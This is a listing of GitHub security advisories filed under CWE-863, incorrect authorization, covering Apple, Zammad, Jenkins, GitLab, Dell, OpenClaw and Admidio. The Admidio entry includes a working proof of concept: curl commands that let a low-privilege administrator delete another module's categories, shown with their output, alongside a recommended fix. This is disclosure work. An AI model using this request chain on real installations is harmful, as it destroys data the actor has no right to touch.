Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

5556 vulnerabilities reference this CWE, most recent first.

GHSA-RVPG-JJ9H-7JCW

Vulnerability from github – Published: 2023-09-27 15:30 – Updated: 2025-11-04 21:30
VLAI
Details

The issue was addressed with improved checks. This issue is fixed in iOS 17 and iPadOS 17, watchOS 10, iOS 16.7 and iPadOS 16.7, macOS Sonoma 14. An app may be able to identify what other apps a user has installed.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-35990"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-27T15:18:52Z",
    "severity": "LOW"
  },
  "details": "The issue was addressed with improved checks. This issue is fixed in iOS 17 and iPadOS 17, watchOS 10, iOS 16.7 and iPadOS 16.7, macOS Sonoma 14. An app may be able to identify what other apps a user has installed.",
  "id": "GHSA-rvpg-jj9h-7jcw",
  "modified": "2025-11-04T21:30:40Z",
  "published": "2023-09-27T15:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35990"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213927"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213937"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213938"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213940"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT213927"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT213937"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT213938"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT213940"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2023/Oct/3"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2023/Oct/4"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2023/Oct/8"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2023/Oct/9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RVR3-F3X4-3669

Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2022-05-24 17:37
VLAI
Details

An issue was discovered in Zammad before 3.4.1. There are wrong authorization checks for impersonation requests via X-On-Behalf-Of. The authorization checks are performed for the actual user and not the one given in the X-On-Behalf-Of header.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-26029"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-12-28T08:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Zammad before 3.4.1. There are wrong authorization checks for impersonation requests via X-On-Behalf-Of. The authorization checks are performed for the actual user and not the one given in the X-On-Behalf-Of header.",
  "id": "GHSA-rvr3-f3x4-3669",
  "modified": "2022-05-24T17:37:23Z",
  "published": "2022-05-24T17:37:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26029"
    },
    {
      "type": "WEB",
      "url": "https://zammad.com/news/security-advisory-zaa-2020-20"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-RVV8-8G6M-F6QH

Vulnerability from github – Published: 2022-05-13 01:19 – Updated: 2022-05-13 01:19
VLAI
Details

Sonatype Nexus Repository Manager before 3.14 has Incorrect Access Control.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-16620"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-11-15T20:29:00Z",
    "severity": "HIGH"
  },
  "details": "Sonatype Nexus Repository Manager before 3.14 has Incorrect Access Control.",
  "id": "GHSA-rvv8-8g6m-f6qh",
  "modified": "2022-05-13T01:19:16Z",
  "published": "2022-05-13T01:19:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16620"
    },
    {
      "type": "WEB",
      "url": "https://support.sonatype.com/hc/en-us/articles/360010789453-CVE-2018-16620-Nexus-Repository-Manager-Missing-Access-Controls-October-17-2018"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RVVF-6VH3-9J43

Vulnerability from github – Published: 2026-04-03 03:23 – Updated: 2026-05-06 23:25
VLAI
Summary
OpenClaw: Discord Slash Commands Bypass Group DM Channel Allowlist
Details

Summary

Discord Slash Commands Bypass Group DM Channel Allowlist

Current Maintainer Triage

  • Status: narrow
  • Normalized severity: moderate
  • Assessment: v2026.3.28 native Discord slash and autocomplete paths still skip the group-DM allowlist, but impact is limited to already-authorized Discord users bypassing a channel restriction rather than crossing a stronger trust boundary.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Latest published npm version: 2026.3.31
  • Vulnerable version range: <=2026.3.28
  • Patched versions: >= 2026.3.31
  • First stable tag containing the fix: v2026.3.31

Fix Commit(s)

  • 8fdb19676ab44cf85d47ee13c578195f2e527591 — 2026-03-30T11:17:36-06:00

OpenClaw thanks @nexrin for reporting.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.3.28"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.31"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41348"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T03:23:36Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\nDiscord Slash Commands Bypass Group DM Channel Allowlist\n\n## Current Maintainer Triage\n- Status: narrow\n- Normalized severity: moderate\n- Assessment: v2026.3.28 native Discord slash and autocomplete paths still skip the group-DM allowlist, but impact is limited to already-authorized Discord users bypassing a channel restriction rather than crossing a stronger trust boundary.\n\n## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Latest published npm version: `2026.3.31`\n- Vulnerable version range: `\u003c=2026.3.28`\n- Patched versions: `\u003e= 2026.3.31`\n- First stable tag containing the fix: `v2026.3.31`\n\n## Fix Commit(s)\n- `8fdb19676ab44cf85d47ee13c578195f2e527591` \u2014 2026-03-30T11:17:36-06:00\n\nOpenClaw thanks @nexrin for reporting.",
  "id": "GHSA-rvvf-6vh3-9j43",
  "modified": "2026-05-06T23:25:10Z",
  "published": "2026-04-03T03:23:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-rvvf-6vh3-9j43"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41348"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/8fdb19676ab44cf85d47ee13c578195f2e527591"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/releases/tag/v2026.3.31"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-group-dm-channel-allowlist-bypass-via-discord-slash-commands"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Discord Slash Commands Bypass Group DM Channel Allowlist"
}

GHSA-RVX4-GG8W-QW24

Vulnerability from github – Published: 2022-05-13 01:48 – Updated: 2022-12-07 18:18
VLAI
Summary
Jenkins Google Play Android Publisher Plugin allows attacker to obtain credential IDs
Details

An improper authorization vulnerability exists in Jenkins Google Play Android Publisher Plugin version 1.6 and earlier in GooglePlayBuildStepDescriptor.java that allow an attacker to obtain credential IDs. As of version 1.7, enumeration of credentials IDs and validation of specified credentials in this plugin requires the permissions to have the ExtendedRead permission (when that permission is enabled; otherwise Configure permission) to the job in whose context credentials are being accessed.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:google-play-android-publisher"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-1000109"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-07T18:18:52Z",
    "nvd_published_at": "2018-03-13T13:29:00Z",
    "severity": "MODERATE"
  },
  "details": "An improper authorization vulnerability exists in Jenkins Google Play Android Publisher Plugin version 1.6 and earlier in `GooglePlayBuildStepDescriptor.java` that allow an attacker to obtain credential IDs. As of version 1.7, enumeration of credentials IDs and validation of specified credentials in this plugin requires the permissions to have the ExtendedRead permission (when that permission is enabled; otherwise Configure permission) to the job in whose context credentials are being accessed.",
  "id": "GHSA-rvx4-gg8w-qw24",
  "modified": "2022-12-07T18:18:52Z",
  "published": "2022-05-13T01:48:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000109"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/google-play-android-publisher-plugin/commit/f81b058289caf3332ae40d599a36a3665b1fa13c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/google-play-android-publisher-plugin"
    },
    {
      "type": "WEB",
      "url": "https://jenkins.io/security/advisory/2018-02-26/#SECURITY-715"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jenkins Google Play Android Publisher Plugin allows attacker to obtain credential IDs"
}

GHSA-RW39-5899-8MXP

Vulnerability from github – Published: 2026-03-13 15:47 – Updated: 2026-04-06 22:37
VLAI
Summary
OpenClaw: Node-host approvals could show misleading shell payloads instead of the executed argv
Details

Summary

In affected versions of openclaw, node-host system.run approvals could display only an extracted shell payload such as jq --version while execution still ran a different outer wrapper argv such as ./env sh -c 'jq --version'.

Impact

This is an approval-integrity bug. An attacker who could place or select a local wrapper binary and induce a wrapper-shaped command could get local code executed after the operator approved misleading command text.

Affected Packages and Versions

  • Package: openclaw (npm)
  • Affected versions: <= 2026.3.8
  • Fixed in: 2026.3.11

Technical Details

Wrapper resolution normalized executables by basename and extracted inner shell payload text for approval display, while execution still preserved the full wrapper argv. Approval storage and UI therefore showed text that did not match the exact command OpenClaw would execute.

Fix

OpenClaw now binds approvals to the exact executed argv and keeps extracted shell payload text only as secondary preview data. The fix shipped in openclaw@2026.3.11.

Workarounds

Upgrade to 2026.3.11 or later.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32971"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-436",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T15:47:46Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nIn affected versions of `openclaw`, node-host `system.run` approvals could display only an extracted shell payload such as `jq --version` while execution still ran a different outer wrapper argv such as `./env sh -c \u0027jq --version\u0027`.\n\n## Impact\nThis is an approval-integrity bug. An attacker who could place or select a local wrapper binary and induce a wrapper-shaped command could get local code executed after the operator approved misleading command text.\n\n## Affected Packages and Versions\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.3.8`\n- Fixed in: `2026.3.11`\n\n## Technical Details\nWrapper resolution normalized executables by basename and extracted inner shell payload text for approval display, while execution still preserved the full wrapper argv. Approval storage and UI therefore showed text that did not match the exact command OpenClaw would execute.\n\n## Fix\nOpenClaw now binds approvals to the exact executed argv and keeps extracted shell payload text only as secondary preview data. The fix shipped in `openclaw@2026.3.11`.\n\n## Workarounds\nUpgrade to `2026.3.11` or later.",
  "id": "GHSA-rw39-5899-8mxp",
  "modified": "2026-04-06T22:37:28Z",
  "published": "2026-03-13T15:47:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-rw39-5899-8mxp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32971"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/releases/tag/v2026.3.11"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-node-host-approval-ui-mismatch-allows-execution-of-unintended-commands"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenClaw: Node-host approvals could show misleading shell payloads instead of the executed argv"
}

GHSA-RW3M-264Q-5GP2

Vulnerability from github – Published: 2022-05-13 01:38 – Updated: 2022-05-13 01:38
VLAI
Details

Gitlab Enterprise Edition version 10.3 is vulnerable to an authorization bypass issue in the GitLab Projects::BoardsController component resulting in an information disclosure on any board object.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-0922"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-03-21T20:29:00Z",
    "severity": "HIGH"
  },
  "details": "Gitlab Enterprise Edition version 10.3 is vulnerable to an authorization bypass issue in the GitLab Projects::BoardsController component resulting in an information disclosure on any board object.",
  "id": "GHSA-rw3m-264q-5gp2",
  "modified": "2022-05-13T01:38:24Z",
  "published": "2022-05-13T01:38:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0922"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/301123"
    },
    {
      "type": "WEB",
      "url": "https://about.gitlab.com/2018/01/16/gitlab-10-dot-3-dot-4-released"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RW5C-4XXP-6RQM

Vulnerability from github – Published: 2023-02-07 12:30 – Updated: 2023-02-15 00:30
VLAI
Details

Dell Command Intel vPro Out of Band, versions prior to 4.3.1, contain an Improper Authorization vulnerability. A locally authenticated malicious users could potentially exploit this vulnerability in order to write arbitrary files to the system.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-23696"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-07T10:15:00Z",
    "severity": "HIGH"
  },
  "details": "Dell Command Intel vPro Out of Band, versions prior to 4.3.1, contain an Improper Authorization vulnerability. A locally authenticated malicious users could potentially exploit this vulnerability in order to write arbitrary files to the system.",
  "id": "GHSA-rw5c-4xxp-6rqm",
  "modified": "2023-02-15T00:30:38Z",
  "published": "2023-02-07T12:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23696"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/en-us/000208331/dsa-2023-029-dell-command-intel-vpro-out-of-band-security-update-for-an-improper-authorization-vulnerability"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RWHC-83X6-C8F9

Vulnerability from github – Published: 2026-06-13 00:34 – Updated: 2026-06-13 00:34
VLAI
Details

OpenClaw before 2026.5.6 contains an authorization bypass vulnerability in native command handling that allows authenticated senders to execute owner-only commands without proper policy enforcement. Attackers can trigger native command handling to bypass the configured owner-command access control, potentially executing privileged commands from unauthorized users.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-53828"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-12T22:16:54Z",
    "severity": "HIGH"
  },
  "details": "OpenClaw before 2026.5.6 contains an authorization bypass vulnerability in native command handling that allows authenticated senders to execute owner-only commands without proper policy enforcement. Attackers can trigger native command handling to bypass the configured owner-command access control, potentially executing privileged commands from unauthorized users.",
  "id": "GHSA-rwhc-83x6-c8f9",
  "modified": "2026-06-13T00:34:32Z",
  "published": "2026-06-13T00:34:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-p73f-w79w-jqr5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53828"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-native-command-authorization-bypass-via-owner-command-enforcement"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-RWJR-QJJ3-MQ2F

Vulnerability from github – Published: 2026-05-29 21:57 – Updated: 2026-05-29 21:57
VLAI
Summary
Admidio module-administrator can delete or reorder categories owned by other modules via dead authorization check in `modules/categories.php`
Details

Summary

modules/categories.php checks that the supplied type parameter (ANN, EVT, ROL, USF, …) corresponds to a module the actor administers. The follow-up "is this specific category editable by me" check at lines 56-61 is dead code because it compares $getType (a category-type code) against mode names (edit/save/delete); the condition is permanently false, so $category->isEditable() is never invoked. The delete, sequence, and save switch cases load the category by the supplied UUID and act on it without re-checking that the category belongs to a module the actor administers. A user holding only one module-administrator right can therefore destroy or reorder empty categories belonging to other modules — for example, an announcements administrator can delete role categories, profile-field categories, or weblink categories that they have no right to touch.

Details

vulnerable code

modules/categories.php:40-61:

$getMode         = admFuncVariableIsValid($_GET, 'mode', 'string',
                                          array('defaultValue' => 'list',
                                                'validValues'  => array('list', 'edit', 'save', 'delete', 'sequence')));
$getType         = admFuncVariableIsValid($_GET, 'type', 'string',
                                          array('validValues' => array('ANN','AWA','EVT','FOT','LNK','ROL','USF','IVT')));
$getCategoryUUID = admFuncVariableIsValid($_GET, 'uuid', 'uuid');

// check rights of the type
if (($getType === 'ANN' && !$gCurrentUser->isAdministratorAnnouncements())
    || ($getType === 'AWA' && !$gCurrentUser->isAdministratorUsers())
    || ($getType === 'EVT' && !$gCurrentUser->isAdministratorEvents())
    || ($getType === 'FOT' && !$gCurrentUser->isAdministratorForum())
    || ($getType === 'LNK' && !$gCurrentUser->isAdministratorWeblinks())
    || ($getType === 'ROL' && !$gCurrentUser->isAdministratorRoles())
    || ($getType === 'USF' && !$gCurrentUser->isAdministratorUsers())
    || ($getType === 'IVT' && !$gCurrentUser->isAdministratorInventory())) {
    throw new Exception('SYS_NO_RIGHTS');
}

if (in_array($getType, array('edit', 'save', 'delete'))) {           // <- DEAD CODE
    // check if this category is editable by the current user and current organization
    if (!$category->isEditable()) {
        throw new Exception('SYS_NO_RIGHTS');
    }
}

The in_array($getType, array('edit','save','delete')) test compares the category-type code to mode names. $getType can only be ANN, AWA, EVT, FOT, LNK, ROL, USF, or IVT (it is rejected by admFuncVariableIsValid if it is anything else), so the array intersection is permanently empty. The intended check was probably in_array($getMode, array('edit','save','delete')). As written, $category->isEditable() is never called from this entry point, and the $category symbol is not defined here at all (it is local to other code paths), so even if the operator were corrected the body of the if would throw an undefined-variable warning before doing anything useful.

modules/categories.php:99-110 — the delete switch case just loads the category by UUID and deletes it, with no per-record permission check:

case 'delete':
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);

    $menu = new Category($gDb);
    $menu->readDataByUuid($getCategoryUUID);
    $menu->delete();
    echo json_encode(array('status' => 'success'));
    break;

modules/categories.php:112-123 — the sequence switch case has the same shape.

Category::delete() blocks deletion of the system / default category and of categories that still have referenced records (events, announcements, role assignments, etc.), but does not check whether the category's cat_type matches a module the actor has rights over.

exploitation flow

  1. Attacker has Announcements administrator (or any other single module-admin right) but is not a roles / inventory / weblinks administrator.
  2. Attacker observes the UUID of a target category by listing categories of any type they DO have rights over (the listing returns category UUIDs of their own type), or simply enumerates by visiting modules/categories.php?type=<their_type>&mode=list.
  3. Attacker requests POST /modules/categories.php?mode=delete&type=ANN&uuid=<UUID-of-foreign-category> carrying their valid adm_csrf_token. type=ANN satisfies the rights gate at line 47-58 (they are an announcements admin). The dead if at line 56 does not fire. The switch falls into case 'delete': which deletes the category without re-checking the type.
  4. Server replies {"status":"success"}. The cross-module category is gone.

The same primitive applies to mode=sequence (reorder), and to mode=save for editing the category's name and description.

PoC

Tested on a fresh install of HEAD c5cde53 running on PHP 8.4 + MariaDB 11.8 at http://127.0.0.1:8085. Reproduces in two requests. testadmin is the bootstrap administrator created during install; annadmin is a freshly-created user whose only role is Association's board with rol_announcements=1 (no roles / inventory / weblinks rights).

# 0. set-up: confirm starting state of the cross-module category
$ mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio \
    -e "SELECT cat_id, cat_uuid, cat_type, cat_name FROM adm_categories WHERE cat_type='ROL' AND cat_name='TEAMS';"
cat_id  cat_uuid                              cat_type  cat_name
7       846536b9-2582-4845-a5ff-dee06f3212c7  ROL       TEAMS

# 1. login as annadmin (announcements admin only) and capture session + csrf
$ curl -s -c $C -b $C "http://127.0.0.1:8085/index.php?module=auth" > /dev/null
$ html=$(curl -s -c $C -b $C "http://127.0.0.1:8085/system/login.php?...")
$ csrf=$(grep -oE 'adm_csrf_token[^"]+value="[^"]+' /tmp/login.html | head -1 | ...)
$ curl -s -c $C -b $C \
    --data-urlencode "adm_csrf_token=$csrf" \
    --data-urlencode "adm_login_name=annadmin" \
    --data-urlencode "adm_password=Annpwd123!" \
    "http://127.0.0.1:8085/system/login.php?mode=check"
{"status":"success","url":"..."}

# 2. as annadmin, GET the categories page once to seed an in-session form key
$ html=$(curl -s -b $C "http://127.0.0.1:8085/modules/categories.php?type=ANN&mode=list")
$ csrf=$(echo "$html" | grep -oE 'adm_csrf_token[^"]+value="[^"]+' | head -1 | sed 's/.*value="//')

# 3. fire the cross-type delete: type=ANN (annadmin has rights), uuid=<ROL category>
$ curl -s -b $C \
    -X POST \
    --data-urlencode "adm_csrf_token=$csrf" \
    --data-urlencode "direction=" \
    "http://127.0.0.1:8085/modules/categories.php?mode=delete&type=ANN&uuid=846536b9-2582-4845-a5ff-dee06f3212c7"
{"status":"success"}

# 4. verify the row is gone — annadmin had no role-administrator rights
$ mariadb ... admidio -e "SELECT * FROM adm_categories WHERE cat_uuid='846536b9-2582-4845-a5ff-dee06f3212c7';"
(no rows)

The same chain with mode=sequence&direction=UP reorders a foreign category. With mode=save, an attacker can rename the foreign category and (via the unprotected cat_type rebind in CategoryService::save() line 210) re-tag it to a different module type, breaking referential consistency.

Impact

Any user with at least one module-administrator right can delete or reorder admin-managed categories of other modules:

  • Role categories (the structural grouping of all roles in the organisation)
  • Event calendars (each calendar is a category of type EVT)
  • Profile-field categories (the grouping of which fields are shown on which profile tab)
  • Weblink categories
  • Forum categories (FOT)
  • Inventory categories (IVT)

Category::delete() blocks categories with active rows, so the attack lands on currently-empty categories, but a malicious announcement-admin can also delete the default category for a module immediately after the legitimate admin deletes its last record, eliminating the implicit "Default Category" before a new record can re-create it. The target organisation loses the structural grouping for an entire module and must rebuild it by hand from a fresh database state.

The CVSS reflects: any user with a single module-admin role can permanently destroy structural metadata for every other module. PR:L because module-admin rights are routinely granted to non-administrative users (chairs of subgroups, content editors). I:H because data is destroyed and there is no in-product undo. A:N because the system stays up; only the affected module's metadata is gone.

Recommended Fix

Replace the dead if (in_array($getType, array('edit', 'save', 'delete'))) block with a real check on $getMode plus a per-record isEditable() test that re-derives the module from cat_type:

if (in_array($getMode, array('edit', 'save', 'delete', 'sequence'), true) && $getCategoryUUID !== '') {
    $category = new Category($gDb);
    $category->readDataByUuid($getCategoryUUID);

    if ($category->isNewRecord()) {
        throw new Exception('SYS_INVALID_PAGE_VIEW');
    }

    // re-check rights against the *record's* cat_type, not the user-supplied type
    $recordType = $category->getValue('cat_type');
    if (   ($recordType === 'ANN' && !$gCurrentUser->isAdministratorAnnouncements())
        || ($recordType === 'AWA' && !$gCurrentUser->isAdministratorUsers())
        || ($recordType === 'EVT' && !$gCurrentUser->isAdministratorEvents())
        || ($recordType === 'FOT' && !$gCurrentUser->isAdministratorForum())
        || ($recordType === 'LNK' && !$gCurrentUser->isAdministratorWeblinks())
        || ($recordType === 'ROL' && !$gCurrentUser->isAdministratorRoles())
        || ($recordType === 'USF' && !$gCurrentUser->isAdministratorUsers())
        || ($recordType === 'IVT' && !$gCurrentUser->isAdministratorInventory())) {
        throw new Exception('SYS_NO_RIGHTS');
    }

    if (!$category->isEditable()) {
        throw new Exception('SYS_NO_RIGHTS');
    }
}

Additionally, CategoryService::save() should refuse to mutate cat_type when editing an existing record (drop the $this->categoryRessource->setValue('cat_type', $this->type) at line 210, or set it only when isNewRecord()).

A regression test should call categories.php?mode=delete&type=ANN&uuid=<ROL-category> as a user with only isAdministratorAnnouncements() and assert the response is SYS_NO_RIGHTS rather than success.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.9"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47227"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T21:57:05Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`modules/categories.php` checks that the supplied `type` parameter (`ANN`, `EVT`, `ROL`, `USF`, \u2026) corresponds to a module the actor administers. The follow-up \"is this specific category editable by me\" check at lines 56-61 is dead code because it compares `$getType` (a category-type code) against mode names (`edit`/`save`/`delete`); the condition is permanently false, so `$category-\u003eisEditable()` is never invoked. The `delete`, `sequence`, and `save` switch cases load the category by the supplied UUID and act on it without re-checking that the category belongs to a module the actor administers. A user holding only one module-administrator right can therefore destroy or reorder empty categories belonging to *other* modules \u2014 for example, an announcements administrator can delete role categories, profile-field categories, or weblink categories that they have no right to touch.\n\n## Details\n\n### vulnerable code\n\n`modules/categories.php:40-61`:\n\n```php\n$getMode         = admFuncVariableIsValid($_GET, \u0027mode\u0027, \u0027string\u0027,\n                                          array(\u0027defaultValue\u0027 =\u003e \u0027list\u0027,\n                                                \u0027validValues\u0027  =\u003e array(\u0027list\u0027, \u0027edit\u0027, \u0027save\u0027, \u0027delete\u0027, \u0027sequence\u0027)));\n$getType         = admFuncVariableIsValid($_GET, \u0027type\u0027, \u0027string\u0027,\n                                          array(\u0027validValues\u0027 =\u003e array(\u0027ANN\u0027,\u0027AWA\u0027,\u0027EVT\u0027,\u0027FOT\u0027,\u0027LNK\u0027,\u0027ROL\u0027,\u0027USF\u0027,\u0027IVT\u0027)));\n$getCategoryUUID = admFuncVariableIsValid($_GET, \u0027uuid\u0027, \u0027uuid\u0027);\n\n// check rights of the type\nif (($getType === \u0027ANN\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorAnnouncements())\n    || ($getType === \u0027AWA\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorUsers())\n    || ($getType === \u0027EVT\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorEvents())\n    || ($getType === \u0027FOT\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorForum())\n    || ($getType === \u0027LNK\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorWeblinks())\n    || ($getType === \u0027ROL\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorRoles())\n    || ($getType === 